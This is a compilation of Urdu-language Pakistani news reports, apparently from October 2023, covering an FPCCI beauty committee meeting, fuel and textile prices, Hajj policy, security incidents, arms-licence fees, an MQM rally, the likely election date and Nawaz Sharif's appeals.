‎ایف پی سی سی آئی، فیڈریشن آف پاکستان چیمبر آف کامرس اینڈ انڈسٹری کی ویمن اسٹائل، بیوٹی اینڈ سکن کیئر کمیٹی کا تازہ ترین اجلاس 14 اکتوبر بروز ہفتہ ایف پی سی سی آئی ہیڈ آفس کراچی میں منعقد ہوا۔ اجلاس کی صدارت کمیٹی کی کنوینر محترمہ زہرہ زاہد اور ڈپٹی کنوینر محترمہ نگہت محمود نے کی۔ جیسے کئی اہم امور پر تبادلہ خیال کیا گیا۔

‎موجودہ سماجی و اقتصادی حالات جو کہ خوبصورتی/اسٹائل کی صنعت کو متاثر کر رہے ہیں نیز ٹیکس معیشت اور خوبصورتی کے کاروبار کی ترقی میں رکاوٹ ہیں۔ بین الاقوامی مارکیٹ کے ساتھ مسابقتی تاکہ خریدار اسے مقامی اور بیرون ملک خریدنے میں پراعتماد محسوس کرے۔
H.R.H میران حیدر نے خوردہ فروشوں، کاٹیج انڈسٹریز اور اعلیٰ برانڈز سے وابستہ کاروبار سے آمدنی حاصل کرنے کی حکمت عملی تجویز کی۔
‎شرکاء میں ایس ایم اکرم (سی ای او منٹیک ریسورسز)، مسٹر شامل تھے۔ شوکت جیلانی (کنوینر ایف پی سی سی آئی/ سی ای او شوکت جیلانی اینڈ سنز) جناب شہزاد مبین (سی ای او والکیز)، جناب کلیم خان (سی ای او الحمزہ گروپ آف کمپنیز) مسز شمائلہ کلیم، ڈاکٹر تسنیم کوثر (صدر وومن چیمبر آف کامرس اینڈ انڈس) کورنگی، محترمہ شمسہ جے احمد (کنوینر ایف پی سی سی آئی)، کاسمیٹک برانڈ اور النصیر گروپ کے سی ای او ناصر حمید، مس مسرت جبین، جناب سعید احمد سعید (پروڈیوسر ڈائریکٹر)، ایچ آر ایچ پرنس میران حیدر (سی ای او رنگ محل)، پروفیسر ایس ایل ڈیلاس۔ .
‎اور اس سال کے لیے کمیٹی کے اراکین میں مسز میمونہ خرم، محترمہ سمیرا ناز، ڈاکٹر ایمان وقار سید، مسز ایمن آفاق، ایچ ایچ میران حیدر، علی اے پلہ ایڈووکیٹ، ایڈووکیٹ شامل ہیں۔ احمد کمال، چوہدری اسد جاوید، جناب فیصل رحمانی۔
‎ڈاکٹر تسنیم کوثر کی صدر وومن چیمبر آف کامرس اینڈ انڈسٹری کورنگی نے خطرناک عناصر سے متعلق مختلف مسائل، باضابطہ طور پر کئی جمالیاتی اور خوبصورتی کے شعبوں کو تقسیم کرنے اور ان پر ایک گورننگ باڈی رکھنے پر زور دیا۔ شہزاد مبین نے بتایا کہ یہ کتنا ضروری تھا اور اسٹائل اور فیشن انڈسٹری سے متعلق دیگر مسائل پر بات کی۔ کنوینر کنزیومر اینڈ پبلک سروسز اور شوکت جیلانی اینڈ سنز کے سی ای او شوکت جیلانی نے بھی موجودہ معاشی حالات سے متعلق بہت سے معاملات پر مشورہ دیا۔
‎منٹیک ریسورسز کے سی ای او جناب ایس ایم اکرم بھی موجود تھے اور انہوں نے معدنی صنعت میں خواتین اور مردوں کے لیے دستیاب وسائل اور ملازمتوں کے بارے میں معلومات دیں۔
‎الحمزہ گروپ آف کمپنیز کے سی ای او جناب کلیم خان نے کہا کہ نصاب کے ساتھ تعلیمی شعبے میں تبدیلیاں کرنے کی ضرورت ہے اور وقت کی ضرورت ہے کہ کاروبار/آئی ٹی اور بینکنگ کو اسکول کی سطح پر شامل کیا جائے تاکہ وہ اپنی زندگی کو بہتر طریقے سے چلانے کے قابل۔

‎الناصر گروپ کے سی ای او جناب ناصر حمید بھی میٹنگ میں موجود تھے اور انہوں نے واضح برآمدات اور درآمدی پالیسیوں اور ان تک رسائی کی اہمیت کا ذکر کیا۔
‎ایف پی سی سی آئی کی کنوینر شمسہ جاوید نے بھی شرکت کی اور بتایا کہ خواتین کی تربیت کتنی ضروری ہے۔ کمیٹی ممبران محترمہ سمیرا ناز اور محترمہ ایمن آفاق کے ایکسی لینس سرٹیفیکیٹس کا اعلان کمیٹی کی ڈپٹی کنوینر مسز نگہت محمود نے کیا۔
‎ایف پی سی سی آئی ویمن اسٹائل بیوٹی اینڈ سکن کیئر کمیٹی نے اپنے موجودہ 2 سالہ دور میں بہت سے اہم مسائل کو اجاگر کیا ہے۔ کمیٹی نے سکن کیئر میں خطرناک عناصر کے اثرات سے لے کر بجٹ اور بیوٹی پروڈکٹس پر ٹیکس تک ہر چیز کو اجاگر کیا ہے۔ سکن کیئر میں سرطان پیدا کرنے والے اجزاء پر ایک معلوماتی سیمینار بھی چند ماہ قبل منعقد ہوا تھا۔
‎’’کسی کو مچھلی دو اور تم اسے ایک دن کے لیے کھلاؤ، کسی کو مچھلی پکڑنا سکھاؤ اور تم نے اسے زندگی بھر کھلایا‘‘۔ کمیٹی کی کنوینر زہرہ زاہد اور ڈپٹی کنوینر نگہت محمود کا مقصد اپنے ایکشن پلان پر عملدرآمد کرنا ہے اور امید ہے کہ پچھلے سالوں کی طرح کامیاب رہیں گے۔ محترمہ زہرہ زاہد 2020، 2022 اور اس وقت 2023 میں کمیٹی کی کنوینر کے طور پر سربراہ رہی ہیں۔

ٹیکسٹائل انڈسٹری کے خام مال کی قیمتوں میں 20سے 25فیصد کمی

ڈالر کی قدر گرتے ہی ٹیکسٹائل انڈسٹری کے خام مال کی قیمتوں میں بیس سے پچیس فیصد کمی آ گئی، پیداواری لاگت کم ہونے سے صنعتکاروں نے بند یونٹ بھی چلا دئیے۔
امریکی ڈالر کے مقابلے میں روپے کی قدر بہتر ہوتے ہی امپورٹ شدہ ڈائز اینڈ کیمیکلز سوڈیم الجنیٹ 3500 روپے کلو سے کم ہو کر 2600، فیبرک سوفٹنر کی قیمت 1200 روپے سے کم ہو کر 900 روپے کلو ہوگئی۔
سابق صدر چیمبر عاطف منیر کا کہنا تھا کہ جب پیداواری لاگت کم ہوگی تو یورپ اور امریکہ کی منڈیوں میں اپنی مصنوعات لے کر جانا آسان ہوگا،انٹرنیشنلی ڈائز اور کیمیکل جو انڈسٹری کا مین را میٹریل کی کمی میں 20 سے 25 فیصد کمی ہوئی ہے۔
دھاگے کی قیمت کم ہونے سے سوتر منڈی کی رونقیں بھی بحال ہوئی ہیں،چیئرمین پائماقیصر شمس گچھا کا کہنا تھا اسمگلنگ روکنے کے لئے جو اقدامات اٹھائے ہیں اس سے ہماری ڈالر کی قیمت میں کمی آئی ہے یار کی قیمت ہماری 4 ہزار فی بیگ کم ہوئی ہے۔

نئی حج پالیسی 2024 کی اصولی منظوری، 20 سے 25 دنوں کا حج پیکیج متعارف

پاکستان کی نگراں وفاقی کابینہ نے حج پالیسی 2024 کی اصولی منظوری دے دی ہے۔
پیر کو اسلام آباد میں وزیراعظم کی زیرِصدارت وفاقی کابینہ کے اجلاس کے بعد وفاقی وزیراطلاعات مرتضی سولنگی نے میڈیا کو بریفنگ دیتے ہوئے بتایا کہ ’حج 2024 کے لیے روڈ ٹو مکہ پروجیکٹ کی سہولت اسلام آباد ایئرپورٹ پر دستیاب ہو گی، 20 سے 25 دنوں کے قیام کا حج پیکیج بھی متعارف کرایا جائے گا جس کی مالیت کا تعین بعد میں کیا جائے گا۔‘
انہوں نے بتایا کہ 38 سے 42 دنوں کا حج پیکیج جنوبی ریجن کے لیے 10 لاکھ 65 ہزار روپے اور شمالی ریجن کے لیے 10 لاکھ 75 ہزار روپے مقرر کیا گیا ہے۔ یہ پیکیج گزشتہ سال کے مقابلے میں ایک لاکھ روپے کم ہے۔‘
اردو نیوز کو دستیاب پالیسی جزئیات کے مطابق حج سکیم کے تحت ڈالر کا بوجھ کم کرنے کے لیے آئندہ برس بھی سپانسر شپ سکیم جاری رکھنے کا فیصلہ کیا گیا ہے۔
آئندہ برس حج پر 28 کروڑ ڈالر خرچ ہوں گے۔ سپانسر شپ سکیم کے تحت 10 ہزار عازمین فریضہ حج ادا کر سکیں گے۔
پالیسی کے مطابق سپانسر شپ سکیم میں حج اخراجات کی رقم ڈالر میں وصول کی جائے گی۔ سپانسر شپ سکیم کے درخواست دہندہ قرعہ اندازی سے مستثنیٰ ہوں گے۔

حکومت کا پٹرول اور ڈیزل کی قیمتیں برقرار رکھنے کا فیصلہ

نگران حکومت نے پٹرولیم مصنوعات کی قیمتوں میں کو ئی ردوبدل نہ کرتے ہوئے قیمتیں برقرار رکھنے کا فیصلہ کیا ہے۔
وزارت خزانہ کی جانب سے جاری نوٹیفکیشن کے مطابق حکومت نے پٹرولیم مصنوعات کی قیمتیں برقرار رکھنے کا فیصلہ کیا ہے، جس کے مطابق پٹرول کی قیمت 283 روپے 38پیسے فی لٹراور ہائی اسپیڈ ڈیزل کی قیمت 303 روپے 18 پیسے فی لٹر پر برقرار رہے گی۔
نوٹیفکیشن کے مطابق مٹی کے تیل کی قیمت میں 3 روپے 82 پیسے فی لیٹر کمی کی گئی ہے ، اورلائٹ ڈیزل بھی 3 روپے 40 پیسے فی لیٹر سستا کر دیا گیا ہے۔جس کے بعد مٹی کے تیل کی قیمت211.3اور لائٹ ڈیزل کی نئی قیمت 189.46 روپے فی لٹر ہوگئی۔
یاد رہے کہ 15 اکتوبر کوحکومت کی جانب سے پٹرول کی قیمت میں 40 روپے جبکہ ڈیزل کی قیمت 15 روپے فی لیٹر کم کی گئی تھی۔ جس کے بعدپٹرول کی قیمت 283 روپے 80 پیسے فی لٹراور ہائی اسپیڈ ڈیزل کی قیمت 303 روپے 18 پیسے فی لیٹر مقرر کی گئی تھی۔

تربت میں مسلح افراد کی فائرنگ سے پولیس اہلکار سمیت 5 افراد جاں بحق

بلوچستان کے ضلع تربت میں مسلح افراد کی فائرنگ سے پولیس اہلکار سمیت 5 افراد جاں بحق ہوگئے۔
حکام کے مطابق تربت کے نواحی علاقے ناصرآباد میں علی الصبح مسلح افراد کی فائرنگ سے 4 مزدور اور ایک پولیس اہلکار جاں بحق ہوگئے۔
حکام کے مطابق واقعے میں زخمی ہونے والے ایک شخص کو علاج کےلیے اسپتال منتقل کردیا گیا ہے جبکہ پولیس نے جائے وقوعہ پر پہنچ کر شواہد اکھٹے کرکے تحقیقات کا آغاز کردیا ہے۔
دوسری جانب نگراں وزیراطلاعات بلوچستان جاں اچکزئی کا کہنا ہے کہ فائرنگ کے واقعے کی بھرپور مذمت کرتاہوں، مقامی انتظامیہ مرنے والوں کی شناخت کرنے کی کوشش کررہی ہے۔ دہشت گردی جس شکل میں بھی ہواسکی کوئی گنجائش نہیں۔

غیر ملکیوں کا پاکستان چھوڑنے کی مہلت کا آخری روز

پاکستان میں غیر قانونی طور پر مقیم غیر ملکیوں کو پاکستان چھوڑنے کی مہلت کا آج آخری روز ہے اور قانون نافذ کرنے والے اداروں نے کارروائی کی تیاریاں مکمل کر لی ہیں۔
اعلیٰ حکام کے مطابق غیرقانونی مقیم غیرملکیوں کو ملک چھوڑنے کی آخری تاریخ میں توسیع نہیں کی جائے گی جبکہ سیکیورٹی فورسز نے میپنگ اور جیو فینسنگ کر کے مشکوک افراد کی نشاندہی کر لی ہے۔
نگران وزیر داخلہ سرفراز بگٹی نے پریس کانفرنس کرتے ہوئے کہا کہ انخلا کا معاملہ کسی مخصوص گروہ کے خلاف نہیں بلکہ غیر قانونی مقیم افراد کے خلاف ہے۔ ہمارے اوپر کوئی غیر ملکی دباؤ نہیں اور نہ ہی ہم دباؤ لیتے ہیں۔
انہوں نے کہا کہ دنیا کا کوئی بھی ملک بغیر ویزے کے رہائش کی اجازت نہیں دیتا اور جو بھی غیر ملکی ویزے کے بغیر ہو گا اسے واپس بھیجیں گے۔
سرفراز بگٹی نے کہا کہ ہم نے جیو فینسنگ کی ہے اور لگ بھگ 2 لاکھ کے قریب غیر ملکی واپس جا چکے ہیں۔ ہولڈنگ سینٹر میں فوڈ، ہیلتھ کی سہولیات دیں گے اور جس نے پاکستان آنا ہے وہ ویزا لے کر آئے۔
ان کا کہنا تھا کہ ہم سیاسی حکومت نہیں اور نہ کوئی ہمارا سیاسی ایجنڈا ہے جبکہ سیاسی جماعتوں کو ایک دوسرے سے بات چیت کے لیے ہماری مدد کی ضرورت بھی نہیں ہے۔ سیاسی جماعتوں نے ابھی تک ایسی کوئی ہم سے خواہش کا اظہار بھی نہیں کیا۔ شفقت محمود سے ملاقات ذاتی نوعیت کی تھی۔

9 مئی واقعات ، شرپسندوں کیخلاف کارروائی تیز کرنیکا فیصلہ ، چیئرمین پی ٹی آئی سے تفتیش کیلئے جزئیات طے

9 مئی کے واقعات میں ملوث شرپسندوں کے خلاف کارروائی تیز کرنے کا فیصلہ کیا گیا ہے۔
ذرائع کے مطابق پولیس کی خصوصی تفتیشی ٹیم نے مزید 124 ملزمان کی فہرستیں تیار کرکے متعلقہ تھانوں کے حوالے کر دیں۔ گزشتہ 2 روز میں 9 مئی واقعات میں ملوث مزید 35 افراد کو حراست میں لیا گیا ہے۔
ذرائع کا کہنا ہے کہ چیئرمین پی ٹی آئی سے تفتیش کیلئے پراسیکیوشن اور تفتیشی ٹیم نے جزئیات طے کر لیں۔ چیئرمین پی ٹی آئی سے تفتیش 9 مئی واقعات کی تحقیقات کی نگرانی آر پی او راولپنڈی کر رہے ہیں۔
ذرائع نے بتایا کہ راولپنڈی میں 9 مئی کے واقعات پر مختلف تھانوں میں 19 مقدمات درج ہیں۔ جبکہ مجموعی طور پر 444 ملزمان کو گرفتار کرکے اڈیالہ جیل منتقل کیا گیا ہے،9 مئی کو جی ایچ کیو حملے میں اب تک 75 ملزمان کو گرفتار کیا گیا ہے

اسلحہ لائسنس ڈیجیٹلائزڈ کرنے کا فیصلہ، ذاتی نیا اسلحہ کیلئے فیس میں اضافہ

پنجاب میں اسلحہ لائسنس کو ڈیجیٹلائزڈ کرنے کا فیصلہ کرلیا گیا، صوبائی کابینہ نے پنجاب آرمز رولز 2023 کی منظوری دے دی۔
تفصیلات کے مطابق اسلحہ رولز 2023 کو جلد ہی صوبے بھر میں لاگو کردیا جائے گا جس کے بعد پہلے سے منظور شدہ اسلحہ لائسنس درخواستوں کا پروسس مکمل نہ کروانے والے شہریوں کو ازسرنو درخواست دینی ہوگی۔
محکمہ داخلہ حکام کے مطابق پنجاب کابینہ نے پنجاب آرمز رولز 2023 کی منظوری دے دی ہے جس کو لاگوکرنے کےلیے ورکنگ شروع کردی گئی ہے۔
نئے رولز کے تحت ہر شہری اسلحہ لائسنس کےلیے نئی درخواست آن لائن دے سکے گا جس کا مکمل پروسس ڈیجٹیلائز ہوگا۔ اسلحہ لائسنس کی منظوری کے بعد فیس کا پروسس بھی آن لائن ہوگا۔
ترجمان محکمہ داخلہ کے مطابق محکمہ داخلہ پنجاب آرمز رولز 2017ء کے تحت اسلحہ لائسنسوں کی تمام منظور شدہ درخواستوں کو پنجاب آرمز رولز 2023 کے نفاذ کے بعد از سرِنو پراسیس کرے گا۔
پنجاب آرمز رولز 2023 کے مطابق نیا ذاتی اسلحہ لائسنس بنوانے کی فیس 10ہزار سے بڑھا کر 50 ہزار روپے کردی گئی، ذاتی اسلحہ لائسنس کی تجدید کرانے کی فیس ایک ہزار سے بڑھا کر 5ہزار روپے ہوگی۔
نجی اداروں،سکیورٹی کمپنیوں کے نیا اسلحہ لائسنس بنانے کی فیس 50ہزار روپے جبکہ محکمہ داخلہ پنجاب کے لائسنس کو ’’آل پاکستان‘‘ کرانے کی فیس ایک لاکھ روپے مقررکر دی گئی ، اسلحہ لائسنس پروسینگ فیس 1400سے بڑھا کر 2ہزار روپے ہوگی۔
پنجاب آرمز رولز 2023 کے مطابق ڈپلیکیٹ اسلحہ لائسنس بنانے کی فیس 1ہزار سے بڑھا کر 5ہزار روپے، اسلحہ لائسنس میں گولیوں کی تعداد بڑھانے کی فیس 12روپے فی گولی کردی گئی جبکہ اسلحہ لائسنس پر ہتھیار یا بور تبدیل کرنے کی فیس 5ہزار روپے ہوگی۔
کابینہ نے وراثت کی بنیاد پر اسلحہ لائسنس ٹرانسفر کی فیس 10ہزار روپے مقررکردی،لائسنس ہولڈر کے گھر پر اسلحہ لائسنس ڈیلیوری کی فیس 300روپے ہوگی۔
پنجاب آرمز رولز 2023 کے نفاذ کے بعد ایسے تمام درخواست گزار افراد جن کی اسلحہ لائسنس کے حصول کی درخواستیں منظور ہو چکی ہیں مگر انہوں نے اسلحہ لائسنس حاصل کرنے کے لیے قانونی عمل کو پورا نہیں کیا ہے ان کواسلحہ لائسنس کے حصول کے لیے تمام پراسیس نئے سرے سے کرنا ہو گا۔
محکمہ داخلہ نے واضح کیا کہ منظور شدہ اسلحہ لائسنس کو فوری طور پر پراسس نہ کروانے والے شہریوں کو پنجاب آرمز رولز 2023 لاگو ہونے کے بعد دوبارہ اسلحہ لائسنس کی منظوری کے عمل سے گزرنا ہوگا۔
خیال رہے کہ اسلحہ ڈیلرز اور شہریوں کے مطالبے پر آرمز رو از 2023 کے تحت اسلحہ لائسنس کی فیسوں میں 85 ہزا روپے کی بڑی کمی کر دی تھی۔ اس حوالے سے نگران پنجاب حکومت نے صوبے بھر کیلئے فیس ایک لاکھ روپے سے کم کرکے 15 ہزار روپے کرتے ہوئےلیجسلیٹو بزنس اینڈ پرائیویٹائزیشن نے پنجاب آرمز رولز 2023 کی منظوری دی تھی۔

مولانا عاصم جمیل گولی لگنے سے جاں بحق، عالم دین طارق جمیل کی تصدیق

معروف عالم دین مولانا طارق جمیل کے صاحبزادے مولانا عاصم جمیل گولی لگنے سے جاں بحق ہو گئے۔
تفصیلات کے مطابق مولانا طارق جمیل نے بیٹے کی موت پر کہا ہے کہ آج تلمبہ میں میرے بیٹے عاصم جمیل کا انتقال ہوگیا ہے۔ اس حادثاتی موت نے ماحول کو سوگوار بنا دیا ہے۔
مولانا طارق جمیل نے قوم سے اپیل کرتے ہوئے کہا کہ آپ سب سے گزارش ہے اس غم کے موقع پر ہمیں دعاؤں میں یاد رکھیں۔
اللہ میرے فرزند کو جنت الفردوس میں اعلیٰ مقام عطا فرمائے۔
دوسری جانب آئی جی پنجاب عثمان انور نے مولانا طارق جمیل کے بیٹے کی موت کے واقعے کا نوٹس لیتے ہوئے آر پی او ملتان سے رپورٹ طلب کر لی ہے۔
آئی جی پنجاب نے احکامات جاری کیے ہیں کہ شواہد اور فرانزک رپورٹ کی روشنی میں موت کی وجوہات کا تعین کیا جائے۔
ترجمان پولیس کے مطابق ڈی پی او خانیوال، سینئرپولیس افسران موقع پرموجود، شواہد اکٹھے کر لئے گئے

کراچی لیاقت آباد میں ایم کیو ایم سیاسی پاور شو،سیاسی رہنماؤں کا خطاب

کنوینر ایم کیوایم پاکستان ڈاکٹرخالدمقبول صدیقی نے لیاقت آباد میں ہونے والے تیسرے پاورشو میں خطاب کرتے ہوئے کہا کہ ہم صوبوں کوبھی ایڈمنسٹریٹویونٹ بنانےکی بات کرتے ہیںجب ہم یہ بات کرتےہیں توغداری کےسرٹیفکیٹ دےدیےجاتےہیں
انہوں نے اپنے خطاب میں کہا لیاقت آبادوالو!پاکستان بنانےکےبعداب بچانےکی ذمہ داری آپ کی ہےہم ہرگزسندھ کی تقسیم نہیں چاہتے،ہم اپنےحصےسےزیادہ قربانی دےچکے ہیںاگرسڑکوں کی طاقت فیصلہ کرتی ہےتوہم اس کےلیےبھی تیارہیں۔
انہوں نے اپنے خطاب میں کہا میں آج لیاقت آباد کے ساتھ کھڑا ہوں ظلم کے ساتھ کھڑا ہوںمیں آمریت کے ساتھ اور جمہوریت کے ساتھ کھڑا ہوںلیاقت آبادمیں آج ہمارے نمائندےشہیدساتھیوں کاخاندان بھی بیٹھا ہےہمارا ساتھ لاپتہ ساتھیوں کا خاندان بھی کھڑا ہےپاکستان کاضمیراورریاست جواب دے یہ لاپتہ لوگ کون ہیں؟تمام قربانیاں ہرطرح کی تحریکوں کامحوریہ لیاقت آبادرہاہےلیاقت آبادکےلوگ اپنےحصےکی آزادی اپنےکاندھوں کےاوپراٹھاکرلائےتھےبانیان پاکستان کی اولادوں سےناانصافی کسی صورت کبھی نہیں کریں گے۔
سینئرڈپٹی کنوینرایم کیو ایم مصطفیٰ کمال نے لیاقت آباد جلسے میںخطاب کرتے ہوئے کہا کہ لیاقت آبادوالوں نےآج بتادیا کراچی پاکستان کولیڈ کریگاثابت ہوگیاکہ ایم کیوایم کے سوا کراچی کو کوئی سنوارنے والا نہیںپیپلزپارٹی نے15سال حکمرانی کرکےکراچی کو بھی لاڑکانہ بنا دیا دنیاچاندپرجارہی تھی اورپچھلے15سالوں سےلوگ گٹرمیں گرکرمررہےتھےکراچی میں جتنے بھی کام ہوئے وہ صرف ایم کیوایم کے زمانے میں ہوئے۔
مصطفیٰ کمال کا اپنے خطاب میں مزید کہنا تھا کہ پیپلزپارٹی کراچی پر قبضہ کرنا چاہتی ہےپیپلزپارٹی نےایساکچھ نہیں کیاکہ وہ کراچی اورمہاجرقوم کاووٹ لےلےگی پیپلزپارٹی پیسے پھینک کر کراچی سے بائیکاٹ کرانا چاہ رہی ہے۔ پروف کےساتھ بتاکرکہتاہوں کہ بائیکاٹ کی کال پیپلزپارٹی سےپیسےلیکرکی جارہی ہےپیپلزپارٹی سےصوبائی خودمختاری کےنام پرجو18ویں ترمیم منظورکرائی اسکومستردکرتےہیں
ایم کیوایم پاکستان کےسینئرڈپٹی کنوینئرفاروق ستارکاجلسےمیں خطاب کہاکہ اگرلیاقت آباداٹھ جائےتواسلام آبادکی حکومتیں بیٹھ جائیںلیاقت آبادکی تاجراتناٹیکس دیتےہیں جتناٹیکس پورےلاہورسےبھی جمع نہیں ہوتاپاکستان کاپاوربینک کراچی اورکراچی کاپاوربینک ایم کیوایم پاکستان ہےنوازشریف واپس آگئےتوپھرکراچی کوبھی اب قومی دھارےمیں واپس آناچاہیےکراچی کےساتھ بھی اب انصاف اوراول درجہ کےشہریوں جیساسلوک ہوناچاہیے۔
سینئرڈپٹی کنوینرایم کیوایم ڈاکٹر فاروق ستار کا کہنا تھا کہ کراچی کو آگے لے کر جانا ہےتوکراچی کےوارثوں کےحوالےکیاجائےکراچی میں15سالوں سےصرف لوٹ ماراوربدعنوانی ہےاسرائیلی جارحیت کی بربریت کی شدید مذمت کرتے ہیں سندھ کے وڈیروں جاگیردار سےاب کراچی کوبازیاب کراناہےکراچی کےپانی کےمنصوبےبھی اب ایم کیوایم کی مکمل کرے گی پیپلزپارٹی جس طرح کراچی آئی ہےاسی طرح واپس بھی چلی جائےگی۔
ایم کیوایم پاکستان کےسینئرڈپٹی کنوینئرفاروق ستارکاجلسےمیں خطاب کہا لیاقت آبادکےجلسےمیں سرہی سراورپرچم ہی پرچم نظرآرہےہیں لیاقت آبادکےعوام نےفیصلہ دےدیاانتخابات میں پتنگ ہی پتنگ ہوگی یہ علاقہ پہلےشہیدوزیراعظم لیاقت علی خان کےنام سےہےایم کیوایم پاکستان کی تحریک تعلیم یافتہ لوگوں نےبنائی توراستہ روکاگیاشہداء کی سب سےزیادہ تعدادلیاقت آبادسےہے۔
انیس قائم خانی نے ایم کیو ایم کے جلسے سے خطاب میں کہا کہ ملیرکےبعداورنگی ٹاؤن اورلیاقت آبادنےسب کوپیچھےچھوڑدیاہےاظہاریکجہتی کی ریلی نکال کرثابت کردیاہم فلسطین بھائیوں کےساتھ ہیں لیاقت آبادوالوں معصوم فلسطینیوں کےلیےایک منٹ کی خاموشی اختیارکرو۔لیاقت آبادایم کیوایم کاسیاسی قلعہ تھاہےاوررہےگا۔
لیاقت آبادجلسےسےایم کیوایم کی سینئرڈپٹی کنوینرنسرین جلیل نے اپنےخطاب میں کہا کہ لیاقت آبادکل بھی ایم کیوایم کاتھااورآج پھرنظرآرہاہےلیاقت آباد ایم کیو ایم کا ہے پیپلزپارٹی15سال حکمرانی کےباوجودبھی لیاقت آباداورکراچی کی خدمت نہیں کرسکی پاکستان بنانےمیں20لاکھ جانوں کی قربانی ہمارےآباؤاجدادنےدی تھی ایم کیوایم کل بھی عوام کےدرمیان تھی،آج بھی ہےاورکل بھی رہے گی یم کیوایم پاکستان اورلیاقت آباد کی عوام آپس میں لازم و ملزوم ہیںمسلط ظالم وجابرحکمرانوں سےمقابلہ تعلیم کےذریعےکرینگےانشاءاللہ پاکستان کواندھیروں سےایم کیوایم پاکستان ہی نکالے گی۔

ملک بھر میں عام انتخابات ممکنہ طور پر 28 جنوری 2024 کو ہوں گے

ملک بھر میں عام انتخابات کی ممکنہ تاریخ سامنے آگئی ہے ، جس کے مطابق جنرل الیکشن اٹھائیس جنوری دو ہزار چوبیس کومتوقع ہیں۔الیکشن کمیشن میں ابتدائی حلقہ بندیوں پر اعتراضات جمع کرانے کا آج آخری روز ہے۔
باخبر ذرائع کے مطابق ملک بھر میں عام انتخابات کیلئے پولنگ کی متوقع تاریخ سامنے آ گئی ہے، اور ممکنہ طور پرجنرل الیکشن اٹھائیس جنوری دو ہزار چوبیس بروز اتوار کو ہوں گے۔
ذرائع کے مطابق اس حوالے سےا لیکشن کمیشن سپریم کورٹ کو دو دن بعد تحریری طور پر آگاہ کرے گا۔ الیکشن کمیشن نے مجوزہ تاریخ پر انتخابات کی تیاریاں بھی شروع کر دی ہیں۔
یاد رہے کہ دو روز قبل صدر عارف علوی نےنجی ٹی وی کو انٹرویو میںعام انتخابات میں تاخیر کے خدشے کا اظہار کرتے ہوئے کہا تھا کہ انہیںجنوری کے آخری ہفتے میں الیکشن ہونے کا یقین نہیں۔
الیکشن کمیشن کی جانب سے انتخابات میں تاخیر کے حوالے سے قیاس آرائیوں کی تردیدکی گئی تھی ۔اورصدر مملکت ڈاکٹر عارف علوی کے عام انتخابات میں التوا سے متعلق بیان پر ردعمل میں کہا تھا کہ الیکشن کمیشن کی آئندہ عام انتخابات کے حوالے سے تیاریاں مکمل ہیں۔ حلقہ بندیوں کی حتمی اشاعت کے فوراً بعد انتخابات کے شیڈول کا اعلان کر دیا جائے گا۔
واضح رہے کہ ابتدائی حلقہ بندیوں پر اعتراضات الیکشن کمیشن میں قائم سہولت سینٹر پر آج رات بارہ بجے تک جمع کروائے جا سکیں گے۔ الیکشن کمیشن اعتراضات پر سماعت اٹھائیس اکتوبر سے چھبیس نومبر تک کرے گا۔ حلقہ بندیوں کی حتمی اشاعت تیس نومبر کو ہوگی۔
دوسری جانب حلقہ بندیوں پر اعتراضات نمٹانے کیلئے الیکشن کمیشن نے دو بینچ بھی قائم کردئیے جو یکم نومبر سے سماعت کرینگے۔ پہلا بینچ اسلام آباد، شکار پور، خضدار، سیالکوٹ اور راجن پور کے اعتراضات پر سماعت کرے گا۔
دوسرا بینچ کرم، اٹک، جہلم، ننکانہ، کوہاٹ اور کورنگی کے اعتراضات نمٹائے گا۔ دو نومبر کو ملیر، سانگھڑ، سوات، ہری پور، چکوال اور پشین کے اعتراضات سنے جائیں گے جبکہ مردان، کراچی، شرقی، موسیٰ خیل، لودھراں، نوشہرہ فیروز اور حب کی سماعت بھی اسی روز ہوگی۔

العزیزیہ اور ایون فیلڈ ریفرنس، نواز شریف کی سزا کیخلاف اپیلیں بحال

اسلام آباد ہائی کورٹ نے العزیزیہ اور ایون فیلڈ ریفرنس میں سابق وزیراعظم اور مسلم لیگ (ن) کے قائد نواز شریف کی سزا کے خلاف اپیلیں بحال کردیں۔
چیف جسٹس اسلام آباد ہائیکورٹ عامر فاروق اور جسٹس میاں گل حسن اورنگزیب پر مشتمل ڈویژن بینچ نے پاکستان مسلم لیگ (ن)کے قائد اور سابق وزیر اعظم نواز شریف کی العزیزیہ اور ایون فیلڈ ریفرنسز میں سزاوں کے خلاف اپیلوں کی بحالی پر سماعت کی۔
سماعت کے دوران سابق وزیر اعظم نواز شریف بھی عدالت میں موجود رہے،سماعت کے آغاز پر قومی احتساب بیورو (نیب)کے پراسیکیوٹر نے عدالت کو بتایا کہ ہم نے دونوں اپیلوں کے حقائق اور قانون کا مطالعہ کیا ہے۔ پہلے ایون فیلڈ کیس سے متعلق بتانا چاہتا ہوں، ریفرنس سپریم کورٹ کے حکم پر دائر کئے تھے، سپریم کورٹ نے ریفرنس دائر کرنے کا حکم دیا تھا اور جے آئی ٹی بھی تشکیل دی تھی۔
نیب پراسیکیوٹر نے کہا کہ ریفرنس واپس لینے کی گنجائش تب ہوتی ہے جب فیصلہ نہ سنایا گیا ہو، احتساب عدالت کے فیصلے کیخلاف اپیلیں دائر ہوئیں، ریفرنس واپس لینے کی گنجائش احتساب عدالت میں موجود تھی۔ کریمنل اپیل سماعت کیلئے منظور ہونے کے بعد واپس نہیں لے سکتے، اپیل سماعت کیلئے منظور ہونے کے بعد عدم پیروی پر بھی خارج نہیں ہوسکتی۔
پراسیکیوٹر نے بتایا کہ اگر ان اپیلوں کو بحال کریں گے تو پھر میرٹ پر دلائل سن کر فیصلہ کرنا ہو گا، چیئرمین نیب کی منظوری سے ریفرنسز دائر کئے گئے تھے۔
میڈیا پر نشر ہوا کہ شاید نیب نے سرنڈر کردیا ہے، ایسی کوئی صورتحال نہیں ہے،پراسیکیوٹر نے دلائل دیئے کہ بطور پراسیکیوٹر جنرل میں قانون کے مطابق چیئرمین نیب کو ایڈوائس دینے کا پابند ہوں۔
پراسیکیوٹرز نے ریاست کے مفاد کے ساتھ انصاف کی فراہمی کو بھی دیکھنا ہے، اعلی معیار کی پراسکیوشن کرنا پراسیکیوٹر کی ذمہ داری ہے۔
پراسیکیوٹر کی ذمہ داری ہے اگر شواہد ملزم کے حق میں ہوں تو بھی نہ چھپائے،انہوں نے دلائل دیئے کہ پراسیکیوٹر کو ملزم کے لیے متعصب نہیں ہونا چاہیئے۔
نواز شریف کی دو اپیلیں عدم پیروی پر خارج ہوئیں، اس کیس میں دائمی وارنٹ گرفتاری جاری ہوئے تھے۔
